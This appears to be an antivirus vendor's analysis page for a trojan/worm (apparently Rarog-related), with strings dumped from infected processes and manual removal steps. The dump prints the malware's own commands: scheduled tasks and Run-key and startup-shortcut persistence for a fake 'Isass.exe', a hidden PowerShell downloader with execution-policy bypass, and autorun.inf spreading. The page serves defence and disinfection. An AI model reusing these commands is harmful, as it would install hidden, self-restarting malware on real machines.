.xDZ(2
KERNEL32.dll
WinHttpQueryDataAvailable
USER32.dll
ShellExecuteW
j%sXg
SHELL32.dll
WinHttpConnect
cOXY/P.Z0.0.QR00/ZPP0000000/0PPZR.BI@/DE0,
version="5.1.0.0"
name="Microsoft.Windows.AxInstaller.UI"
<requestedExecutionLevel
api-ms-win-core-synch-l1-2-0.dll
kernel32.dll
mscoree.dll
Assertion failed: %Ts, file %Ts, line %d
ext-ms-win-ntuser-windowstation-l1-1-0
portuguese-brazilian
combase.dll
advapi32.dll
Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Type: application/x-www-form-urlencoded
Rarog.cpp
/Create /SC MINUTE /MO 30 /TN "Windows_Antimalware_Host" /TR "C:\ProgramData\WindowsAppCertification\checker.vbs" /F
schtasks.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers
SecurityHeaIthService.exe
SystemldleProcess.exe
winIogon.exe
Isass.exe
taskmgr.exe
C:\Windows\System32\cmd.exe
/c erase %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk
/delete /tn Windows_Antimalware_Host_Systm /f
/delete /tn Windows_Antimalware_Host /f
C:\ProgramData\WindowsAppCertification\*.*
/Create /SC MINUTE /MO 5 /TN "Windows_Antimalware_Host_Systm" /TR "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" /F
/c echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs & echo sLinkFile = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs
tC:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\*.*
/c taskkill /im Isass.exe /f & C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
Software\Microsoft\Windows
/c taskkill /im Isass.exe /f & erase C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe & RENAME C:\ProgramData\MicrosoftCorporation\Windows\System32\_Isass.exe Isass.exe & C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
10.0.15063.0 (WinBuild.160101.0800)
AxInstUI.exe
Windows
Operating System
10.0.15063.0

winIogon.exe_3552:

.text
`.rdata
@.data
.sdfds0
`.sdfds1
`.reloc
@.rsrc
j.Yf;
_tcPVj@
.PjRW
operation not permitted
address family not supported
broken pipe
function not supported
inappropriate io control operation
not supported
operation canceled
operation in progress
operation not supported
operation would block
protocol not supported
InitOnceExecuteOnce
operator
operator ""
operator co_await
GetProcessWindowStation
?#%X.y
%S#[k
MaxPolicyElementKey
pExecutionResource
C:\ProgramData\MicrosoftCorporation\Windows\Modules\
C:\ProgramData\MicrosoftCorporation\Windows\Modules
autorun.inf
autorun.exe
open = autorun.exe
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}\driver.dat
{EXE_NAME}
{EXE_PATH}
C:\ProgramData\WindowsAppCertification
WindowHelperStorageHostSystemThread.ps1
$furl = 'hXXp://
C:\ProgramData\WindowsAppCertification\
$path = 'C:\ProgramData\MicrosoftCorporation\Windows\System32\'
$fpath = $path   'Isass.exe'
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($furl,$fpath)
C:\ProgramData\WindowsAppCertification\checker.vbs
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "C:\ProgramData\WindowsAppCertification\cert.cmd",0
C:\ProgramData\WindowsAppCertification\cert.cmd
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoP -file C:\ProgramData\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SecurityHeaIthService.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SystemldleProcess.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\winIogon.exe
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\
C:\ProgramData\MicrosoftCorporation\Windows\System32\_Isass.exe
Software\Microsoft\Windows\CurrentVersion\Run
Windows_Antimalware_Host_Syst
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}
/c timeout 5 & taskkill /im Isass.exe /f & erase C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe & RMDIR /s/q "C:\ProgramData\MicrosoftCorporation" & exit
open_url
C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
C:\ProgramData\MicrosoftCorporation
C:\ProgramData\MicrosoftCorporation\Windows
C:\ProgramData\MicrosoftCorporation\Windows\System32
SELECT * FROM Win32_OperatingSystem
ntdll.dll
.?AVstl_condition_variable_concrt@details@Concurrency@@
.?AVstl_critical_section_concrt@details@Concurrency@@
.?AVunsupported_os@Concurrency@@
.?AVinvalid_operation@Concurrency@@
.?AUITopologyExecutionResource@Concurrency@@
.?AVinvalid_scheduler_policy_key@Concurrency@@
.?AVinvalid_oversubscribe_operation@Concurrency@@
.?AVExecutionResource@details@Concurrency@@
.?AUIExecutionResource@Concurrency@@
.?AUIExecutionContext@Concurrency@@
.?AU_Crt_new_delete@std@@
tJ#@%C
%CuS,
U%FJe"1
;.WMZ
f%SGf 
4.EH)
jÛw
M{ó
%dM/"
,7.YvFMJ
WinHttpSendRequest
ADVAPI32.dll
m}^
SHFileOperationW
s.UTV
Sqlu"
WinHttpReadData
.KmItC
RegOpenKeyExA
dU.In
.oiw1
ole32.dll
WS2_32.dll
WinHttpOpenRequest
OLEAUT32.dll
3.Mrh
GetProcessHeap
d%f?*SF
RegOpenKeyExW
WINHTTP.dll
-%8U)l
WinHttpOpen
WinHttpCloseHandle
KZF.Is
GetCPInfo
RegCloseKey
K7".Ey
EmJ$%Fiv
a.liD
i.xv,L
#-L}v`
jp4.XFZ|}
#y.kP?
]%SvYD
Wc6-.Aj
<K@-%DP
vbc\.EXr
%f_b~
t3.rwZ
%D&-}
!%X#x
29.lVr
.ya{t
W<i.QE[d
.qI:F
o>SqL
.Zg#o7/
%X^ %
.jo~\
.fdY8@
SO(À
sLoZ
?.SHW
^H.qv
.gGB}
-L.sU
%0X,%_>V
%U')n
yO.ZH
7url]
6^s%Uu
..jms<m
.dKmE
4T.Dp
[;n.oP
(%S<g
%ul_J
g.WF6
].AVo
WinHttpReceiveResponse
Wk.JH
%.X?s?:8
.bS>mv
,.MB#
.QlCX
zG=%xrc
.lJ1MI"C
Q,oÖ
o%DG%
%X>T*
.hA!l
%f^?<
%C&C(
.xDZ(2
KERNEL32.dll
WinHttpQueryDataAvailable
USER32.dll
ShellExecuteW
j%sXg
SHELL32.dll
WinHttpConnect
cOXY/P.Z0.0.QR00/ZPP0000000/0PPZR.BI@/DE0,
version="5.1.0.0"
name="Microsoft.Windows.AxInstaller.UI"
<requestedExecutionLevel
api-ms-win-core-synch-l1-2-0.dll
kernel32.dll
mscoree.dll
Assertion failed: %Ts, file %Ts, line %d
ext-ms-win-ntuser-windowstation-l1-1-0
portuguese-brazilian
combase.dll
advapi32.dll
Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Type: application/x-www-form-urlencoded
Rarog.cpp
/Create /SC MINUTE /MO 30 /TN "Windows_Antimalware_Host" /TR "C:\ProgramData\WindowsAppCertification\checker.vbs" /F
schtasks.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers
SecurityHeaIthService.exe
SystemldleProcess.exe
winIogon.exe
Isass.exe
taskmgr.exe
C:\Windows\System32\cmd.exe
/c erase %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk
/delete /tn Windows_Antimalware_Host_Systm /f
/delete /tn Windows_Antimalware_Host /f
C:\ProgramData\WindowsAppCertification\*.*
/Create /SC MINUTE /MO 5 /TN "Windows_Antimalware_Host_Systm" /TR "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" /F
/c echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs & echo sLinkFile = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs
tC:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\*.*
/c taskkill /im Isass.exe /f & C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
Software\Microsoft\Windows
/c taskkill /im Isass.exe /f & erase C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe & RENAME C:\ProgramData\MicrosoftCorporation\Windows\System32\_Isass.exe Isass.exe & C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
10.0.15063.0 (WinBuild.160101.0800)
AxInstUI.exe
Windows
Operating System
10.0.15063.0

svchost.exe_1908:

.text
`.data
.rsrc
@.reloc
msvcrt.dll
API-MS-Win-Core-ProcessThreads-L1-1-0.dll
KERNEL32.dll
NTDLL.DLL
API-MS-Win-Security-Base-L1-1-0.dll
API-MS-WIN-Service-Core-L1-1-0.dll
API-MS-WIN-Service-winsvc-L1-1-0.dll
RPCRT4.dll
ole32.dll
ntdll.dll
_amsg_exit
RegCloseKey
RegOpenKeyExW
GetProcessHeap
svchost.pdb
version="5.1.0.0"
name="Microsoft.Windows.Services.SvcHost"
<description>Host Process for Windows Services</description>
<requestedExecutionLevel
Software\Microsoft\Windows NT\CurrentVersion\Svchost
Software\Microsoft\Windows NT\CurrentVersion\MgdSvchost
\PIPE\
Host Process for Windows Services
6.1.7600.16385 (win7_rtm.090713-1255)
svchost.exe
Windows
Operating System
6.1.7600.16385

WerFault.exe_3300:

.text
`.data
.rsrc
@.reloc
ADVAPI32.dll
ntdll.DLL
KERNEL32.dll
USER32.dll
msvcrt.dll
ole32.dll
OLEAUT32.dll
SHLWAPI.dll
IMM32.dll
wer.dll
COMCTL32.dll
faultrep.dll
Starting kernel vertical - %S
rundll32.exe
NtQueryInformationProcess failed with status: 0x%x
Reporting never started for process id %u
StringCchPrintf failed with 0x%x
NtWow64QueryInformationProcess64 failed with 0x%x
NtWow64ReadVirtualMemory64 failed with 0x%x
NtQueryInformationProcess failed with status 0x%x
WerpNtWow64QueryInformationProcess64 failed with status 0x%x
StringCchCopy failed with 0x%x
Invalid arg in %s
wdi.dll
dbgeng.dll
dbghelp.dll
SETUPAPI.dll
SHELL32.dll
VERSION.dll
WTSAPI32.dll
WerFault.pdb
PSShD
tSSh,<
t.PSj6
t5SSh
SShx`
tsShxc
t.Ph0j
_amsg_exit
RegCloseKey
RegCreateKeyExW
RegOpenKeyExW
RegEnumKeyExW
RegQueryInfoKeyW
GetProcessHeap
GetWindowsDirectoryW
RegDeleteKeyW
ReportEventW
RegOpenKeyW
RegSetKeyValueW
GetProcessWindowStation
EnumWindows
NtAlpcSendWaitReceivePort
NtAlpcConnectPort
ShipAssert
ntdll.dll
RegisterErrorReportingDialog
WerReportSubmit
WerReportAddFile
WerReportCreate
WerReportCloseHandle
WerReportSetUIOption
WerpGetReportConsent
WerpSetIntegratorReportId
WerpReportCancel
WerpAddRegisteredDataToReport
WerReportAddDump
WerpCreateIntegratorReportId
WerpSetReportFlags
WerpGetReportFlags
WerpIsTransportAvailable
WerReportSetParameter
WerpInitiateCrashReporting
version="1.0.0.0"
name="Microsoft.Windows.Feedback.Watson"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
<asmv3:windowsSettings xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">
</asmv3:windowsSettings>
<requestedExecutionLevel
ÝCD0
#$$$3355<
##$$$335566
% "#$$$3355666=
"#$$33555666
!.DQ$
.Py>o
Kÿg
.ib:?
T3%X_
a,M.cbd
KEYW8
KEYWH
? ?$?(?,?0?4?8?
1 2$2(2,20242
>,?0?4?8?<?@?
?%?5?:?|?
5'565^5{5
3#3(353_3
=#='= =/=3=7=;=?=
=#=(=>=]=
>!>&>3>}>
1!1&131[1
Microsoft\Windows\WindowsErrorReporting\WerFault
%s %s
Global\WerKernelVerticalReporting
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl
CrashDumpEnabled.Old
CrashDumpEnabled.New
%SystemRoot%\MEMORY.DMP
LiveKernelReports
Software\Microsoft\Windows\Windows Error Reporting\LiveKernelReports
LiveKernelReportsPath
BCCode=%x&BCP1=%p&BCP2=%p&BCP3=%p&BCP4=%p&OS Version=%u_%u_%u&Service Pack=%u_%u&Product=%u_%u
*WerKernelReporting
%SYSTEMROOT%\SYSTEM32\WerFault.exe -k -rq
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
SOFTWARE\Microsoft\Windows\Windows Error Reporting\KernelFaults\Queue
sysdata.xml
%s -k -q
SOFTWARE\Microsoft\Windows NT\CurrentVersion
<OSVER>%u.%u.%u %u.%u</OSVER>
<OSLANGUAGE>%u</OSLANGUAGE>
<ARCHITECTURE>%u</ARCHITECTURE>
<PRODUCTTYPE>%u</PRODUCTTYPE>
<FILESIZE>%u</FILESIZE>
<CREATIONDATE>d-d-d d:d:d</CREATIONDATE>
<NAME>%s</NAME>
<DATA>%s</DATA>
<ERROR>Failed at Step: %s with error 0x%x</ERROR>
%sDrivers\%s.sys
</%s>
<%s>%s</%s>
%u.%u.%u.%u
*.mrk
WER-%u-%u.sysdata.xml
Software\Microsoft\Windows\CurrentVersion\CEIPRole\RolesInWER
SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability\MemoryDiagnostic
Web Server
Software\Microsoft\Windows\Windows Error Reporting\Debug
%SystemRoot%\Minidump
0xx (0xx, 0xx, 0xx, 0xx)
%s\%2.2d%2.2d%2.2d-%u-%2.2d.dmp
*.dmp
Software\Microsoft\Windows\Windows Error Reporting
Software\Policies\Microsoft\Windows\Windows Error Reporting
\KernelObjects\SystemErrorPortReady
%s\%s
Microsoft.Windows.Setup
\WindowsErrorReportingServicePort
(0x%x): %s
%u %s
WindowsNTVersion
%u.%u
ErrorPort
\StringFileInfo\xx\%s
HKEY_USERS\
HKEY_CURRENT_CONFIG\
HKEY_CLASSES_ROOT\
HKEY_LOCAL_MACHINE\
HKEY_CURRENT_USER\
%s="%s"
%s.%s
%s %d
Software\Microsoft\Windows\Windows Error Reporting\Hangs
_NT_EXECUTABLE_IMAGE_PATH
wxmu.dmp
wxhu.dmp
axmu.dmp
axhu.dmp
hu.kdmp
mu.kdmp
hu.dmp
mu.dmp
Software\Microsoft\.NETFramework
NOT_TCPIP
sos.dll
version.xml
.version.xml
%s.xml
memory.hdmp
minidump.mdmp
Local\WERReportingForProcess%d
atk.kdmp
Software\Microsoft\Windows\Windows Error Reporting\Hangs\NHRTimes
%i|%d|%d
xxxxxxxxxxxxxxxx
xx
%d.%d.%d.%d
"D:P(A;;GA;;;BA)(A;;GA;;;SY)(A;;GA;;;%s)
D:P(A;;GA;;;BA)(A;;GA;;;SY)(A;;GA;;;%s)S:(ML;;NR;;;HI)
!.ref
dc.noreflect
dc.xpmemdump
dc.xpdata
dc.CustomDump
dc.expmodmem
dc.expmoddata
dc.OnDemandKdmp
dc.xpmodmem
dc.xpmoddata
default=%s
memory=%s
module=%s
.dbgcfg.ini
ElevatedDataCollectionStatus.txt
Open process failed unexpectedly: 0X%X
Attempting to cross-proc reporting process!
Elevation:Administrator!new:%s
Reflection attempt failed: 0X%X
Attempting to reflect reporting process!
Could not collect dump for reflection cross process: 0x%x
Could not collect xproc for reflection: 0x%x
CollectFile for reflection failed: 0x%x
Could not collect dump for cross process: 0x%x
CollectReflectionDump failed with: 0x%x
0 processes found for xproc module: %s
Could not collect cross dump from module: 0x%x
CollectCrossProcessModuleDumps failed: 0x%x
CollectCrossProcessDumps failed: 0x%x
KernelDump failed: 0x%x
ProcessHandle
%s|%s
rpcrt4
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebugProtected\AutoExclusionList
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\AutoExclusionList
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebugProtected
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebug
sntdll.dll
WerDiagController.dll
Software\Microsoft\Windows\Windows Error Reporting\Plugins
Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
Software\Microsoft\Windows\Windows Error Reporting\Plugins\FDR\CurrentSession
%s\%s\%u-%u.etl
%s\%s\%u-%u.etl_%d
Microsoft\Windows\FDR
%s-%d
Software\Microsoft\Windows\Windows Error Reporting\Plugins\DriverVerifier
Software\Microsoft\Windows\Windows Error Reporting\Plugins\AppRecorder
%d-AppRecorderEnabled
!%s /stop
psr.exe
Software\Microsoft\Windows\Windows Error Reporting\RuntimeExceptionHelperModules
verifier.dll
nVerifier.dll
Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s
Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
lsvchost.exe
"%s" "%s" "%s"
%s\system32\cofire.exe
psapi.dll
sfc_os.dll
werfault.exe
%s\%s-(PID-%u)-%u
%s\%s-(PID-%u).dmp
%s\*-(PID-*)-*
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\%s
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit
kernel32.dll
kernelbase.dll
ReportingMode
WinShipAssert
WindowsMessageReportingB1
Windows
ws2_32.dll
Software\Microsoft\SQMClient\%s\AdaptiveSqm\ManifestInfo
%s\Sqm%d.bin
CorporateWerPortNumber
BypassDataThrottling
Software\Microsoft\Windows\Windows Error Reporting\Consent
Windows Problem Reporting
6.1.7600.16385 (win7_rtm.090713-1255)
WerFault.exe
Windows
Operating System
6.1.7600.16385
Microsoft-Windows-WER-Diag/Operational


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:2448
    cscript.exe:3088
    cscript.exe:3124

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe (14071 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk (1 bytes)
    C:\ProgramData\MicrosoftCorporation\Windows\Helpers\winIogon.exe (14071 bytes)
    C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SecurityHeaIthService.exe (14071 bytes)
    C:\ProgramData\WindowsAppCertification\checker.vbs (356 bytes)
    C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\muxu.exe (371404 bytes)
    C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}\driver.dat (5 bytes)
    C:\ProgramData\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1 (1358 bytes)
    C:\ProgramData\WindowsAppCertification\cert.cmd (606 bytes)
    C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SystemldleProcess.exe (14071 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "Windows_Antimalware_Host_Syst" = "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
  7. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

No votes yet


Lavasoft is the maker of Ad-Aware, the world's most popular anti-malware software with over 450 million downloads.
© 2024 Lavasoft. All rights reserved.
Terms Of Use |   Privacy Policy


x

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

Download adaware antivirus 12
No thanks, continue to lavasoft.com
close x

Discover the new adaware antivirus 12

Our best antivirus yet

Download Now